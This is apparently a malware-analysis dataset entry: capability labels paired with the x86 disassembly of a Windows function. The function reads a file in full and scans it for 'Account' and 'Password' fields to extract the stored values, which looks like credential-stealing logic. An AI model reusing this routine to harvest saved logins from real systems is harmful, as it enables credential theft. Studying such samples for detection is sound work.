Function at 0x40bf94
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x24], ecx
push ebx
push ebx
push 3
push ebx
push 7
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40bfd0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40c230
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
mov dword [ebp - 0xc], ebx
call fcn.00401000
push ebx
mov edi, eax
push 0
push edi
mov dword [ebp - 0x1c], edi
call fcn.00401293
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
add esp, 0x10
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x400000
call fcn.00406f2c
mov esi, eax
mov ebx, 0x104
mov ecx, ebx
mov dword [ebp - 0x14], esi
call fcn.00406f2c
mov ecx, ebx
mov dword [ebp + 8], eax
call fcn.00406f2c
xor ebx, ebx
mov dword [ebp - 8], eax
xor dh, dh
cmp dword [ebp - 0xc], ebx
jbe 0x40c212
push 7
pop eax
sub eax, esi
lea ecx, [esi - 7]
push 2
mov dword [ebp - 0x10], eax
pop esi
mov dl, byte [ebx + edi]
mov dword [ebp - 0x20], ecx
lea eax, [edx - 0x21]
cmp al, 0x5d
ja 0x40c122
cmp dl, 0x3d
je 0x40c122
mov byte [ecx + 7], dl
inc ecx
test dh, dh
jne 0x40c0f1
mov eax, dword [ebp - 0x10]
add eax, ecx
cmp eax, 7
jle 0x40c122
cmp byte [ecx], 0x41
jne 0x40c122
cmp byte [ecx + 1], 0x63
jne 0x40c122
cmp byte [ecx + 2], 0x63
jne 0x40c122
cmp byte [ecx + 3], 0x6f
jne 0x40c122
cmp byte [ecx + 4], 0x75
jne 0x40c122
cmp byte [ecx + 5], 0x6e
jne 0x40c122
cmp byte [ecx + 6], 0x74
jne 0x40c122
mov eax, esi
xor edx, edx
cmp byte [edi], 0xd0
push 9
pop esi
cmovne eax, esi
lea esi, [ebx + eax]
add esi, edi
mov al, byte [esi]
cmp al, 0x20
jbe 0x40c0e3
mov edi, dword [ebp + 8]
cmp al, 0x7f
jae 0x40c0e0
inc esi
mov byte [edx + edi], al
inc edx
mov al, byte [esi]
cmp al, 0x20
ja 0x40c0d1
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
push 2
pop esi
mov byte [edx + eax], 0
mov dh, 1
jmp 0x40c122
mov eax, dword [ebp - 0x20]
cmp byte [eax], 0x50
jne 0x40c122
cmp byte [ecx], 0x61
jne 0x40c122
cmp byte [ecx + 1], 0x73
jne 0x40c122
cmp byte [ecx + 2], 0x73
jne 0x40c122
cmp byte [ecx + 3], 0x77
jne 0x40c122
cmp byte [ecx + 4], 0x6f
jne 0x40c122
cmp byte [ecx + 5], 0x72
jne 0x40c122
cmp byte [ecx + 6], 0x64
je 0x40c131
inc ebx
cmp ebx, dword [ebp - 0xc]
jb 0x40c051
jmp 0x40c20f
xor edx, edx
cmp byte [edi], 0xd0
push 9
pop eax
cmovne esi, eax
lea ecx, [ebx + esi]
add ecx, edi
mov al, byte [ecx]
cmp al, 0x20
jbe 0x40c15d
mov ebx, dword [ebp - 8]
cmp al, 0x7f
jae 0x40c15d
cmp al, 0x21
je 0x40c15d
mov byte [edx + ebx], al
inc edx
inc ecx
mov al, byte [ecx]
cmp al, 0x20
ja 0x40c14a
mov eax, dword [ebp - 8]
xor ecx, ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov byte [edx + eax], cl
lea ecx, [ebp - 0x10]
push eax
call fcn.0040434f
push dword [ebp + 8]
lea ecx, [ebp - 0xc]
call fcn.0040434f
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x10]
call fcn.004040d5
push eax
lea ecx, [ebp - 0x2c]
call fcn.004043c7
mov ecx, dword [ebp - 0x20]
call fcn.00406f1d
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0xc]
call fcn.004040d5
push eax
lea ecx, [ebp - 0x30]
call fcn.004043c7
mov ecx, dword [ebp - 0x20]
call fcn.00406f1d
push 0x419490
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x28], 5
call fcn.0040460a
push eax
lea ecx, [ebp - 0x34]
call fcn.004043c7
mov ecx, dword [ebp - 0x20]
call fcn.00406f1d
sub esp, 0x10
lea eax, [ebp - 0x34]
mov ecx, esp
push eax
call fcn.00402790
mov ecx, dword [ebp - 0x24]
call fcn.0040283b
mov ecx, dword [ebp - 0xc]
call fcn.00406f1d
mov ecx, dword [ebp - 0x10]
call fcn.00406f1d
lea ecx, [ebp - 0x34]
call fcn.004015d4
mov esi, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
call fcn.00406f1d
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov ecx, esi
call fcn.00406f1d
push edi
call fcn.00401014
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4